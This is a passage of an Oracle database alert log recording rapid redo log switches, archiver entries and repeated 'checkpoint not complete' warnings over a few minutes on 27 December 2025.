/u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:24:32.046966+08:00 ARC0 (PID:1861): Archived Log entry 2586 added for T-1.S-2590 ID 0x75f9c04b LAD:1 2025-12-27T23:24:32.091242+08:00 Thread 1 cannot allocate new log, sequence 2592 Checkpoint not complete Current log# 3 seq# 2591 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:24:35.116869+08:00 Thread 1 advanced to log sequence 2592 (LGWR switch) Current log# 1 seq# 2592 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:24:35.167317+08:00 ARC1 (PID:1867): Archived Log entry 2587 added for T-1.S-2591 ID 0x75f9c04b LAD:1 2025-12-27T23:24:35.208649+08:00 Thread 1 cannot allocate new log, sequence 2593 Checkpoint not complete Current log# 1 seq# 2592 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:24:38.270361+08:00 Thread 1 advanced to log sequence 2593 (LGWR switch) Current log# 2 seq# 2593 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:24:38.318455+08:00 ARC2 (PID:1869): Archived Log entry 2588 added for T-1.S-2592 ID 0x75f9c04b LAD:1 2025-12-27T23:24:38.359771+08:00 Thread 1 cannot allocate new log, sequence 2594 Checkpoint not complete Current log# 2 seq# 2593 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:24:41.423895+08:00 Thread 1 advanced to log sequence 2594 (LGWR switch) Current log# 3 seq# 2594 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:24:41.476062+08:00 ARC3 (PID:1871): Archived Log entry 2589 added for T-1.S-2593 ID 0x75f9c04b LAD:1 2025-12-27T23:24:41.508395+08:00 Thread 1 cannot allocate new log, sequence 2595 Checkpoint not complete Current log# 3 seq# 2594 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:24:44.533360+08:00 Thread 1 advanced to log sequence 2595 (LGWR switch) Current log# 1 seq# 2595 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:24:44.579371+08:00 ARC0 (PID:1861): Archived Log entry 2590 added for T-1.S-2594 ID 0x75f9c04b LAD:1 2025-12-27T23:24:44.621890+08:00 Thread 1 cannot allocate new log, sequence 2596 Checkpoint not complete Current log# 1 seq# 2595 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:24:47.619822+08:00 Thread 1 advanced to log sequence 2596 (LGWR switch) Current log# 2 seq# 2596 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:24:47.665919+08:00 ARC1 (PID:1867): Archived Log entry 2591 added for T-1.S-2595 ID 0x75f9c04b LAD:1 2025-12-27T23:24:47.707945+08:00 Thread 1 cannot allocate new log, sequence 2597 Checkpoint not complete Current log# 2 seq# 2596 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:24:50.733836+08:00 Thread 1 advanced to log sequence 2597 (LGWR switch) Current log# 3 seq# 2597 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:24:50.772926+08:00 ARC2 (PID:1869): Archived Log entry 2592 added for T-1.S-2596 ID 0x75f9c04b LAD:1 2025-12-27T23:24:50.815415+08:00 Thread 1 cannot allocate new log, sequence 2598 Checkpoint not complete Current log# 3 seq# 2597 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:24:53.868489+08:00 Thread 1 advanced to log sequence 2598 (LGWR switch) Current log# 1 seq# 2598 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:24:53.920680+08:00 ARC3 (PID:1871): Archived Log entry 2593 added for T-1.S-2597 ID 0x75f9c04b LAD:1 2025-12-27T23:24:53.957342+08:00 Thread 1 cannot allocate new log, sequence 2599 Checkpoint not complete Current log# 1 seq# 2598 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:24:56.941045+08:00 Thread 1 advanced to log sequence 2599 (LGWR switch) Current log# 2 seq# 2599 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:24:56.984287+08:00 ARC0 (PID:1861): Archived Log entry 2594 added for T-1.S-2598 ID 0x75f9c04b LAD:1 2025-12-27T23:24:57.024249+08:00 Thread 1 cannot allocate new log, sequence 2600 Checkpoint not complete Current log# 2 seq# 2599 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:25:00.053805+08:00 Thread 1 advanced to log sequence 2600 (LGWR switch) Current log# 3 seq# 2600 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:25:00.103305+08:00 ARC1 (PID:1867): Archived Log entry 2595 added for T-1.S-2599 ID 0x75f9c04b LAD:1 2025-12-27T23:25:00.138691+08:00 Thread 1 cannot allocate new log, sequence 2601 Checkpoint not complete Current log# 3 seq# 2600 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:25:03.146156+08:00 Thread 1 advanced to log sequence 2601 (LGWR switch) Current log# 1 seq# 2601 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:25:03.194024+08:00 ARC2 (PID:1869): Archived Log entry 2596 added for T-1.S-2600 ID 0x75f9c04b LAD:1 2025-12-27T23:25:03.229384+08:00 Thread 1 cannot allocate new log, sequence 2602 Checkpoint not complete Current log# 1 seq# 2601 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:25:06.257739+08:00 Thread 1 advanced to log sequence 2602 (LGWR switch) Current log# 2 seq# 2602 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:25:06.303488+08:00 ARC3 (PID:1871): Archived Log entry 2597 added for T-1.S-2601 ID 0x75f9c04b LAD:1 2025-12-27T23:25:06.346793+08:00 Thread 1 cannot allocate new log, sequence 2603 Checkpoint not complete Current log# 2 seq# 2602 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:25:09.359678+08:00 Thread 1 advanced to log sequence 2603 (LGWR switch) Current log# 3 seq# 2603 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:25:09.402730+08:00 ARC0 (PID:1861): Archived Log entry 2598 added for T-1.S-2602 ID 0x75f9c04b LAD:1 2025-12-27T23:25:09.442760+08:00 Thread 1 cannot allocate new log, sequence 2604 Checkpoint not complete Current log# 3 seq# 2603 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:25:12.429899+08:00 Thread 1 advanced to log sequence 2604 (LGWR switch) Current log# 1 seq# 2604 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:25:12.478773+08:00 ARC1 (PID:1867): Archived Log entry 2599 added for T-1.S-2603 ID 0x75f9c04b LAD:1 2025-12-27T23:25:12.519242+08:00 Thread 1 cannot allocate new log, sequence 2605 Checkpoint not complete Current log# 1 seq# 2604 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:25:15.623380+08:00 Thread 1 advanced to log sequence 2605 (LGWR switch) Current log# 2 seq# 2605 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:25:15.662424+08:00 ARC2 (PID:1869): Archived Log entry 2600 added for T-1.S-2604 ID 0x75f9c04b LAD:1 2025-12-27T23:25:15.703308+08:00 Thread 1 cannot allocate new log, sequence 2606 Checkpoint not complete Current log# 2 seq# 2605 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:25:18.768929+08:00 Thread 1 advanced to log sequence 2606 (LGWR switch) Current log# 3 seq# 2606 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:25:18.816825+08:00 ARC3 (PID:1871): Archived Log entry 2601 added for T-1.S-2605 ID 0x75f9c04b LAD:1 2025-12-27T23:25:18.858473+08:00 Thread 1 cannot allocate new log, sequence 2607 Checkpoint not complete Current log# 3 seq# 2606 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:25:21.850003+08:00 Thread 1 advanced to log sequence 2607 (LGWR switch) Current log# 1 seq# 2607 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:25:21.892759+08:00 ARC0 (PID:1861): Archived Log entry 2602 added for T-1.S-2606 ID 0x75f9c04b LAD:1 2025-12-27T23:25:21.933665+08:00 Thread 1 cannot allocate new log, sequence 2608 Checkpoint not complete Current log# 1 seq# 2607 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:25:24.869216+08:00 Thread 1 advanced to log sequence 2608 (LGWR switch) Current log# 2 seq# 2608 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:25:24.904403+08:00 ARC1 (PID:1867): Archived Log entry 2603 added for T-1.S-2607 ID 0x75f9c04b LAD:1 2025-12-27T23:25:24.940544+08:00 Thread 1 cannot allocate new log, sequence 2609 Checkpoint not complete Current log# 2 seq# 2608 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:25:28.026637+08:00 Thread 1 advanced to log sequence 2609 (LGWR switch) Current log# 3 seq# 2609 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:25:28.074425+08:00 ARC2 (PID:1869): Archived Log entry 2604 added for T-1.S-2608 ID 0x75f9c04b LAD:1 2025-12-27T23:25:28.118793+08:00 Thread 1 cannot allocate new log, sequence 2610 Checkpoint not complete Current log# 3 seq# 2609 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:25:31.127785+08:00 Thread 1 advanced to log sequence 2610 (LGWR switch) Current log# 1 seq# 2610 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:25:31.176499+08:00 ARC3 (PID:1871): Archived Log entry 2605 added for T-1.S-2609 ID 0x75f9c04b LAD:1 2025-12-27T23:25:31.221075+08:00 Thread 1 cannot allocate new log, sequence 2611 Checkpoint not complete Current log# 1 seq# 2610 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:25:34.254423+08:00 Thread 1 advanced to log sequence 2611 (LGWR switch) Current log# 2 seq# 2611 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:25:34.304032+08:00 ARC0 (PID:1861): Archived Log entry 2606 added for T-1.S-2610 ID 0x75f9c04b LAD:1 2025-12-27T23:25:34.346884+08:00 Thread 1 cannot allocate new log, sequence 2612 Checkpoint not complete Current log# 2 seq# 2611 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:25:37.404172+08:00 Thread 1 advanced to log sequence 2612 (LGWR switch) Current log# 3 seq# 2612 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:25:37.455489+08:00 ARC1 (PID:1867): Archived Log entry 2607 added for T-1.S-2611 ID 0x75f9c04b LAD:1 2025-12-27T23:25:37.485939+08:00 Thread 1 cannot allocate new log, sequence 2613 Checkpoint not complete Current log# 3 seq# 2612 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:25:40.484461+08:00 Thread 1 advanced to log sequence 2613 (LGWR switch) Current log# 1 seq# 2613 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:25:40.532052+08:00 ARC2 (PID:1869): Archived Log entry 2608 added for T-1.S-2612 ID 0x75f9c04b LAD:1 2025-12-27T23:25:40.577918+08:00 Thread 1 cannot allocate new log, sequence 2614 Checkpoint not complete Current log# 1 seq# 2613 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:25:43.591683+08:00 Thread 1 advanced to log sequence 2614 (LGWR switch) Current log# 2 seq# 2614 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:25:43.648307+08:00 ARC3 (PID:1871): Archived Log entry 2609 added for T-1.S-2613 ID 0x75f9c04b LAD:1 2025-12-27T23:25:43.681717+08:00 Thread 1 cannot allocate new log, sequence 2615 Checkpoint not complete Current log# 2 seq# 2614 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:25:46.688538+08:00 Thread 1 advanced to log sequence 2615 (LGWR switch) Current log# 3 seq# 2615 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:25:46.733574+08:00 ARC0 (PID:1861): Archived Log entry 2610 added for T-1.S-2614 ID 0x75f9c04b LAD:1 2025-12-27T23:25:46.779864+08:00 Thread 1 cannot allocate new log, sequence 2616 Checkpoint not complete Current log# 3 seq# 2615 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:25:49.822791+08:00 Thread 1 advanced to log sequence 2616 (LGWR switch) Current log# 1 seq# 2616 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:25:49.868035+08:00 ARC1 (PID:1867): Archived Log entry 2611 added for T-1.S-2615 ID 0x75f9c04b LAD:1 2025-12-27T23:25:49.907039+08:00 Thread 1 cannot allocate new log, sequence 2617 Checkpoint not complete Current log# 1 seq# 2616 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:25:52.898430+08:00 Thread 1 advanced to log sequence 2617 (LGWR switch) Current log# 2 seq# 2617 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:25:52.948183+08:00 ARC2 (PID:1869): Archived Log entry 2612 added for T-1.S-2616 ID 0x75f9c04b LAD:1 2025-12-27T23:25:52.997613+08:00 Thread 1 cannot allocate new log, sequence 2618 Checkpoint not complete Current log# 2 seq# 2617 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:25:55.929176+08:00 Thread 1 advanced to log sequence 2618 (LGWR switch) Current log# 3 seq# 2618 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:25:55.995834+08:00 ARC3 (PID:1871): Archived Log entry 2613 added for T-1.S-2617 ID 0x75f9c04b LAD:1 2025-12-27T23:25:56.032832+08:00 Thread 1 cannot allocate new log, sequence 2619 Checkpoint not complete Current log# 3 seq# 2618 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:25:59.095457+08:00 Thread 1 advanced to log sequence 2619 (LGWR switch) Current log# 1 seq# 2619 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:25:59.146470+08:00 ARC0 (PID:1861): Archived Log entry 2614 added for T-1.S-2618 ID 0x75f9c04b LAD:1 2025-12-27T23:25:59.191801+08:00 Thread 1 cannot allocate new log, sequence 2620 Checkpoint not complete Current log# 1 seq# 2619 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:26:02.213818+08:00 Thread 1 advanced to log sequence 2620 (LGWR switch) Current log# 2 seq# 2620 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:26:02.263690+08:00 ARC1 (PID:1867): Archived Log entry 2615 added for T-1.S-2619 ID 0x75f9c04b LAD:1 2025-12-27T23:26:02.302191+08:00 Thread 1 cannot allocate new log, sequence 2621 Checkpoint not complete Current log# 2 seq# 2620 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:26:05.336918+08:00 Thread 1 advanced to log sequence 2621 (LGWR switch) Current log# 3 seq# 2621 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:26:05.386356+08:00 ARC2 (PID:1869): Archived Log entry 2616 added for T-1.S-2620 ID 0x75f9c04b LAD:1 2025-12-27T23:26:05.435533+08:00 Thread 1 cannot allocate new log, sequence 2622 Checkpoint not complete Current log# 3 seq# 2621 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:26:08.413923+08:00 Thread 1 advanced to log sequence 2622 (LGWR switch) Current log# 1 seq# 2622 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:26:08.456226+08:00 ARC3 (PID:1871): Archived Log entry 2617 added for T-1.S-2621 ID 0x75f9c04b LAD:1 2025-12-27T23:26:08.488175+08:00 Thread 1 cannot allocate new log, sequence 2623 Checkpoint not complete Current log# 1 seq# 2622 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:26:11.544888+08:00 Thread 1 advanced to log sequence 2623 (LGWR switch) Current log# 2 seq# 2623 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:26:11.588682+08:00 ARC0 (PID:1861): Archived Log entry 2618 added for T-1.S-2622 ID 0x75f9c04b LAD:1 2025-12-27T23:26:11.630533+08:00 Thread 1 cannot allocate new log, sequence 2624 Checkpoint not complete Current log# 2 seq# 2623 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:26:14.652349+08:00 Thread 1 advanced to log sequence 2624 (LGWR switch) Current log# 3 seq# 2624 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:26:14.702622+08:00 ARC1 (PID:1867): Archived Log entry 2619 added for T-1.S-2623 ID 0x75f9c04b LAD:1 2025-12-27T23:26:14.744612+08:00 Thread 1 cannot allocate new log, sequence 2625 Checkpoint not complete Current log# 3 seq# 2624 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:26:17.759412+08:00 Thread 1 advanced to log sequence 2625 (LGWR switch) Current log# 1 seq# 2625 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:26:17.808058+08:00 ARC2 (PID:1869): Archived Log entry 2620 added for T-1.S-2624 ID 0x75f9c04b LAD:1 2025-12-27T23:26:17.850680+08:00 Thread 1 cannot allocate new log, sequence 2626 Checkpoint not complete Current log# 1 seq# 2625 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:26:20.845632+08:00 Thread 1 advanced to log sequence 2626 (LGWR switch) Current log# 2 seq# 2626 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:26:20.891640+08:00 ARC3 (PID:1871): Archived Log entry 2621 added for T-1.S-2625 ID 0x75f9c04b LAD:1 2025-12-27T23:26:20.931528+08:00 Thread 1 cannot allocate new log, sequence 2627 Checkpoint not complete Current log# 2 seq# 2626 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:26:23.937038+08:00 Thread 1 advanced to log sequence 2627 (LGWR switch) Current log# 3 seq# 2627 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:26:23.980386+08:00 ARC0 (PID:1861): Archived Log entry 2622 added for T-1.S-2626 ID 0x75f9c04b LAD:1 2025-12-27T23:26:24.032951+08:00 Thread 1 cannot allocate new log, sequence 2628 Checkpoint not complete Current log# 3 seq# 2627 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:26:27.032547+08:00 Thread 1 advanced to log sequence 2628 (LGWR switch) Current log# 1 seq# 2628 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:26:27.083712+08:00 ARC1 (PID:1867): Archived Log entry 2623 added for T-1.S-2627 ID 0x75f9c04b LAD:1 2025-12-27T23:26:27.142798+08:00 Thread 1 cannot allocate new log, sequence 2629 Checkpoint not complete Current log# 1 seq# 2628 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:26:30.116196+08:00 Thread 1 advanced to log sequence 2629 (LGWR switch) Current log# 2 seq# 2629 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:26:30.164538+08:00 ARC2 (PID:1869): Archived Log entry 2624 added for T-1.S-2628 ID 0x75f9c04b LAD:1 2025-12-27T23:26:30.208631+08:00 Thread 1 cannot allocate new log, sequence 2630 Checkpoint not complete Current log# 2 seq# 2629 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:26:33.224106+08:00 Thread 1 advanced to log sequence 2630 (LGWR switch) Current log# 3 seq# 2630 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:26:33.269623+08:00 ARC3 (PID:1871): Archived Log entry 2625 added for T-1.S-2629 ID 0x75f9c04b LAD:1 2025-12-27T23:26:33.313224+08:00 Thread 1 cannot allocate new log, sequence 2631 Checkpoint not complete Current log# 3 seq# 2630 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:26:36.397132+08:00 Thread 1 advanced to log sequence 2631 (LGWR switch) Current log# 1 seq# 2631 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:26:36.442253+08:00 ARC0 (PID:1861): Archived Log entry 2626 added for T-1.S-2630 ID 0x75f9c04b LAD:1 2025-12-27T23:26:36.483956+08:00 Thread 1 cannot allocate new log, sequence 2632 Checkpoint not complete Current log# 1 seq# 2631 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:26:39.576638+08:00 Thread 1 advanced to log sequence 2632 (LGWR switch) Current log# 2 seq# 2632 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:26:39.625715+08:00 ARC1 (PID:1867): Archived Log entry 2627 added for T-1.S-2631 ID 0x75f9c04b LAD:1 2025-12-27T23:26:39.663267+08:00 Thread 1 cannot allocate new log, sequence 2633 Checkpoint not complete Current log# 2 seq# 2632 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:26:42.671372+08:00 Thread 1 advanced to log sequence 2633 (LGWR switch) Current log# 3 seq# 2633 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:26:42.717526+08:00 ARC2 (PID:1869): Archived Log entry 2628 added for T-1.S-2632 ID 0x75f9c04b LAD:1 2025-12-27T23:26:42.764227+08:00 Thread 1 cannot allocate new log, sequence 2634 Checkpoint not complete Current log# 3 seq# 2633 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:26:45.786502+08:00 Thread 1 advanced to log sequence 2634 (LGWR switch) Current log# 1 seq# 2634 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:26:45.836577+08:00 ARC3 (PID:1871): Archived Log entry 2629 added for T-1.S-2633 ID 0x75f9c04b LAD:1 2025-12-27T23:26:45.872466+08:00 Thread 1 cannot allocate new log, sequence 2635 Checkpoint not complete Current log# 1 seq# 2634 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:26:48.919154+08:00 Thread 1 advanced to log sequence 2635 (LGWR switch) Current log# 2 seq# 2635 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:26:48.965071+08:00 ARC0 (PID:1861): Archived Log entry 2630 added for T-1.S-2634 ID 0x75f9c04b LAD:1 2025-12-27T23:26:49.012526+08:00 Thread 1 cannot allocate new log, sequence 2636 Checkpoint not complete Current log# 2 seq# 2635 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:26:51.999815+08:00 Thread 1 advanced to log sequence 2636 (LGWR switch) Current log# 3 seq# 2636 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:26:52.045871+08:00 ARC1 (PID:1867): Archived Log entry 2631 added for T-1.S-2635 ID 0x75f9c04b LAD:1 2025-12-27T23:26:52.088025+08:00 Thread 1 cannot allocate new log, sequence 2637 Checkpoint not complete Current log# 3 seq# 2636 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:26:55.125229+08:00 Thread 1 advanced to log sequence 2637 (LGWR switch) Current log# 1 seq# 2637 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:26:55.174247+08:00 ARC2 (PID:1869): Archived Log entry 2632 added for T-1.S-2636 ID 0x75f9c04b LAD:1 2025-12-27T23:26:55.220980+08:00 Thread 1 cannot allocate new log, sequence 2638 Checkpoint not complete Current log# 1 seq# 2637 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:26:58.368356+08:00 Thread 1 advanced to log sequence 2638 (LGWR switch) Current log# 2 seq# 2638 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:26:58.444659+08:00 ARC3 (PID:1871): Archived Log entry 2633 added for T-1.S-2637 ID 0x75f9c04b LAD:1 2025-12-27T23:26:58.481742+08:00 Thread 1 cannot allocate new log, sequence 2639 Checkpoint not complete Current log# 2 seq# 2638 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:27:01.505484+08:00 Thread 1 advanced to log sequence 2639 (LGWR switch) Current log# 3 seq# 2639 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:27:01.562053+08:00 ARC0 (PID:1861): Archived Log entry 2634 added for T-1.S-2638 ID 0x75f9c04b LAD:1 2025-12-27T23:27:01.630998+08:00 Thread 1 cannot allocate new log, sequence 2640 Checkpoint not complete Current log# 3 seq# 2639 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:27:04.660106+08:00 Thread 1 advanced to log sequence 2640 (LGWR switch) Current log# 1 seq# 2640 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:27:04.703230+08:00 ARC1 (PID:1867): Archived Log entry 2635 added for T-1.S-2639 ID 0x75f9c04b LAD:1 2025-12-27T23:27:04.768707+08:00 Thread 1 cannot allocate new log, sequence 2641 Checkpoint not complete Current log# 1 seq# 2640 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:27:07.768266+08:00 Thread 1 advanced to log sequence 2641 (LGWR switch) Current log# 2 seq# 2641 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:27:07.823841+08:00 ARC2 (PID:1869): Archived Log entry 2636 added for T-1.S-2640 ID 0x75f9c04b LAD:1 2025-12-27T23:27:07.866893+08:00 Thread 1 cannot allocate new log, sequence 2642 Checkpoint not complete Current log# 2 seq# 2641 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:27:10.856457+08:00 Thread 1 advanced to log sequence 2642 (LGWR switch) Current log# 3 seq# 2642 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:27:10.900604+08:00 ARC3 (PID:1871): Archived Log entry 2637 added for T-1.S-2641 ID 0x75f9c04b LAD:1 2025-12-27T23:27:10.936215+08:00 Thread 1 cannot allocate new log, sequence 2643 Checkpoint not complete Current log# 3 seq# 2642 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:27:13.989927+08:00 Thread 1 advanced to log sequence 2643 (LGWR switch) Current log# 1 seq# 2643 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:27:14.038547+08:00 ARC0 (PID:1861): Archived Log entry 2638 added for T-1.S-2642 ID 0x75f9c04b LAD:1 2025-12-27T23:27:14.083014+08:00 Thread 1 cannot allocate new log, sequence 2644 Checkpoint not complete Current log# 1 seq# 2643 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:27:17.025817+08:00 Thread 1 advanced to log sequence 2644 (LGWR switch) Current log# 2 seq# 2644 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:27:17.071010+08:00 ARC1 (PID:1867): Archived Log entry 2639 added for T-1.S-2643 ID 0x75f9c04b LAD:1 2025-12-27T23:27:17.113038+08:00 Thread 1 cannot allocate new log, sequence 2645 Checkpoint not complete Current log# 2 seq# 2644 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:27:20.100817+08:00 Thread 1 advanced to log sequence 2645 (LGWR switch) Current log# 3 seq# 2645 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:27:20.147767+08:00 ARC2 (PID:1869): Archived Log entry 2640 added for T-1.S-2644 ID 0x75f9c04b LAD:1 2025-12-27T23:27:20.191792+08:00 Thread 1 cannot allocate new log, sequence 2646 Checkpoint not complete Current log# 3 seq# 2645 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:27:23.178334+08:00 Thread 1 advanced to log sequence 2646 (LGWR switch) Current log# 1 seq# 2646 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:27:23.228782+08:00 ARC3 (PID:1871): Archived Log entry 2641 added for T-1.S-2645 ID 0x75f9c04b LAD:1 2025-12-27T23:27:23.273493+08:00 Thread 1 cannot allocate new log, sequence 2647 Checkpoint not complete Current log# 1 seq# 2646 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:27:26.196269+08:00 Thread 1 advanced to log sequence 2647 (LGWR switch) Current log# 2 seq# 2647 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:27:26.229422+08:00 ARC0 (PID:1861): Archived Log entry 2642 added for T-1.S-2646 ID 0x75f9c04b LAD:1 2025-12-27T23:27:26.273869+08:00 Thread 1 cannot allocate new log, sequence 2648 Checkpoint not complete Current log# 2 seq# 2647 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:27:29.319047+08:00 Thread 1 advanced to log sequence 2648 (LGWR switch) Current log# 3 seq# 2648 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:27:29.361474+08:00 ARC1 (PID:1867): Archived Log entry 2643 added for T-1.S-2647 ID 0x75f9c04b LAD:1 2025-12-27T23:27:29.406399+08:00 Thread 1 cannot allocate new log, sequence 2649 Checkpoint not complete Current log# 3 seq# 2648 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:27:32.446768+08:00 Thread 1 advanced to log sequence 2649 (LGWR switch) Current log# 1 seq# 2649 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:27:32.493214+08:00 ARC2 (PID:1869): Archived Log entry 2644 added for T-1.S-2648 ID 0x75f9c04b LAD:1 2025-12-27T23:27:32.535972+08:00 Thread 1 cannot allocate new log, sequence 2650 Checkpoint not complete Current log# 1 seq# 2649 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:27:35.598714+08:00 Thread 1 advanced to log sequence 2650 (LGWR switch) Current log# 2 seq# 2650 mem# 0: 